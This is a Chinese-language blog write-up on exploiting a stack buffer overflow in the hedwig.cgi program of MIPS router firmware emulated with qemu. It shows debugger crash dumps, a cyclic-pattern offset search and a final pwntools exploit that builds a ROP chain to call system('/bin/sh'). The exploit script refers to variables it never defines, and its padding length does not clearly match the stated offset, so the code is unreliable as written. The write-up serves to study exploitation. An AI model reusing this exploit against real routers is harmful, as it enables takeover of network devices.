16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
pwndbg> target remote localhost:23946
Remote debugging using localhost:23946
0x767e9a00 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
V0 0x0
V1 0x0
A0 0x0
A1 0x0
A2 0x0
A3 0x0
T0 0x0
T1 0x0
T2 0x0
T3 0x0
T4 0x0
T5 0x0
T6 0x0
T7 0x0
T8 0x0
T9 0x0
S0 0x0
S1 0x0
S2 0x0
S3 0x0
S4 0x0
S5 0x0
S6 0x0
S7 0x0
S8 0x0
FP 0x0
SP 0x76ffea50 ◂— 0x1
PC 0x767e9a00 ◂— move $t9, $ra /* 0x3e0c821 */
───────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
0x767e9a00 move $t9, $ra
0x767e9a04 bal 0x767e9a0c
0x767e9a08 nop
0x767e9a0c lui $gp, 2
0x767e9a10 addiu $gp, $gp, -0x39fc
0x767e9a14 addu $gp, $gp, $ra
0x767e9a18 move $ra, $t9
0x767e9a1c lw $a0, -0x7fe8($gp)
0x767e9a20 sw $a0, -0x7ff0($gp)
0x767e9a24 move $a0, $sp
0x767e9a28 addiu $sp, $sp, -0x10
───────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000sp 0x76ffea50 ◂— 0x1
01:00040x76ffea54 —▸ 0x76ffeb53 ◂— './htdocs/web/hedwig.cgi'
02:00080x76ffea58 ◂— 0x0
03:000c│ 0x76ffea5c —▸ 0x76ffeb6b ◂— 'REMOTE_ADDR=0.0.0.0'
04:00100x76ffea60 —▸ 0x76ffeb7f ◂— 'REQUEST_URI=/hedwig.cgi'
05:00140x76ffea64 —▸ 0x76ffeb97 ◂— 0x50545448 ('HTTP')
06:00180x76ffea68 —▸ 0x76fff1ab ◂— 'REQUEST_METHOD=POST'
07:001c│ 0x76ffea6c —▸ 0x76fff1bf ◂— 'CONTENT_TYPE=application/x-www-form-urlencoded'
─────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────
► f 0 767e9a00

然后让程序继续运行,此时报错

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
pwndbg> c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
V0 0xffffffff
V1 0x4b
A0 0x76ffe480 —▸ 0x767ae4e0 ◂— 0x0
A1 0x1
A2 0x42e000 ◂— 0x0
A3 0x20
T0 0x767ab4c8 ◂— 0x4b /* 'K' */
T1 0x1309
T2 0x2
T3 0x24
T4 0x25
T5 0x807
T6 0x800
T7 0x400
T8 0x8
T9 0x0
S0 0x41414141 ('AAAA')
S1 0x41414141 ('AAAA')
S2 0x41414141 ('AAAA')
S3 0x41414141 ('AAAA')
S4 0x41414141 ('AAAA')
S5 0x41414141 ('AAAA')
S6 0x41414141 ('AAAA')
S7 0x41414141 ('AAAA')
S8 0x41414141 ('AAAA')
FP 0x76ffe980 ◂— 0x41414141 ('AAAA')
SP 0x76ffe980 ◂— 0x41414141 ('AAAA')
PC 0x41414141 ('AAAA')
───────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
Invalid address 0x41414141
───────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000fp sp 0x76ffe980 ◂— 0x41414141 ('AAAA')
... ↓
─────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────
f 0 41414141
────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Program received signal SIGSEGV
pwndbg>

好了,栈溢出实锤了,之后我们改一下运行脚本,测试一下偏移

1
cyclic 600

改一下程序运行脚本之后发现程序回显为:

1
2
3
4
HTTP/1.1 200 OK
Content-Type: text/xml

<hedwig><result>FAILED</result><message>unable to open temp file.</message></hedwig>%

无法打开某tmp文件,但是程序在之前是直接溢出的,那么我们先改大输入流

1
pwndbg> cyclic 1536

将运行命令改为:

1
sudo chroot . ./qemu-mipsel-static -E CONTENT_LENGTH=20 -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE=`python -c "print 'uid=123'+'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaaozaapbaapcaapdaapeaapfaapgaaphaapiaap'"` -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="0.0.0.0" -g 23946 ./htdocs/web/hedwig.cgi

成功栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
pwndbg> c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x6b61616b in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
V0 0xffffffff
V1 0x4b
A0 0x76ffe480 —▸ 0x767ae4e0 ◂— 0x0
A1 0x1
A2 0x42e000 ◂— 0x0
A3 0x20
T0 0x767ab4c8 ◂— 0x4b /* 'K' */
T1 0x1309
T2 0x2
T3 0x24
T4 0x25
T5 0x807
T6 0x800
T7 0x400
T8 0x8
T9 0x0
S0 0x6b616162 ('baak')
S1 0x6b616163 ('caak')
S2 0x6b616164 ('daak')
S3 0x6b616165 ('eaak')
S4 0x6b616166 ('faak')
S5 0x6b616167 ('gaak')
S6 0x6b616168 ('haak')
S7 0x6b616169 ('iaak')
S8 0x6b61616a ('jaak')
FP 0x76ffe980 ◂— 0x6b61616c ('laak')
SP 0x76ffe980 ◂— 0x6b61616c ('laak')
PC 0x6b61616b ('kaak')
───────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
Invalid address 0x6b61616b
───────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000fp sp 0x76ffe980 ◂— 0x6b61616c ('laak')
01:00040x76ffe984 ◂— 0x6b61616d ('maak')
02:00080x76ffe988 ◂— 0x6b61616e ('naak')
03:000c0x76ffe98c ◂— 0x6b61616f ('oaak')
04:00100x76ffe990 ◂— 0x6b616170 ('paak')
05:00140x76ffe994 ◂— 0x6b616171 ('qaak')
06:00180x76ffe998 ◂— 0x6b616172 ('raak')
07:001c0x76ffe99c ◂— 0x6b616173 ('saak')
─────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────
f 0 6b61616b
────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Program received signal SIGSEGV

此时查一下偏移量

1
2
pwndbg> cyclic -l 0x6b61616b
1040

好的,现在我们有了偏移量,下面就可以开始构造payload了
在日常的栈溢出中,我们的目标是esp指针,但是在mips架构下,我们的目标就变成了$ra,因为是路由器,所以一般没有aslr,我们只需要找到基址,然后直接调用system函数即可,

这里提一个小trick, 在我们想写入的地址有坏字节时,可以通过先-1写入,后面依靠其他gadget来将地址加一来完成构造(比如本例中system函数是在0x53200,我们先存入减一的值,再后面再利用gadget来加一恢复

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python

from pwn import *
context.endian="little"
context.arch="mips"
system_addr = 0x53200-1+0x767e9000
add_jar = 0x159CC # addiu $s5,$sp,0x170+var_160 | jalr $s0 |
sys_1 = 0x000158C8 # addiu $s0,1 | jalr $s5 |
padding = 'uid=' + 'a' * 1013
padding += p32(base_addr + system_addr_1)
padding += 'a' * 16
padding += p32(base_addr+add_jar)
padding += 'a' * 12
padding += p32(base_addr + sys_1)
padding += 'a' * 0x10
padding += '/bin/sh\x00'

with open("payload",'wb') as f:
f.write(padding)
f.close()

文章首发先知社区,转载请标明出处
https://xz.aliyun.com/t/6808
enjoy:)


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!